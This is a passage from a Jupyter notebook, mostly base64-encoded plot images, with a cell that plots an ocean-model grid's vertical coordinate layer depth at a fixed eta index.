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", "text/plain": [ "<Figure size 900x500 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "control_grid.plot_vertical_coordinate(\"layer_depth_rho\", eta=50)" ] }, { "cell_type": "code", "execution_count": 42, "id": "0bdd2fdb-84f9-49ea-ac8c-303bfddffa2d", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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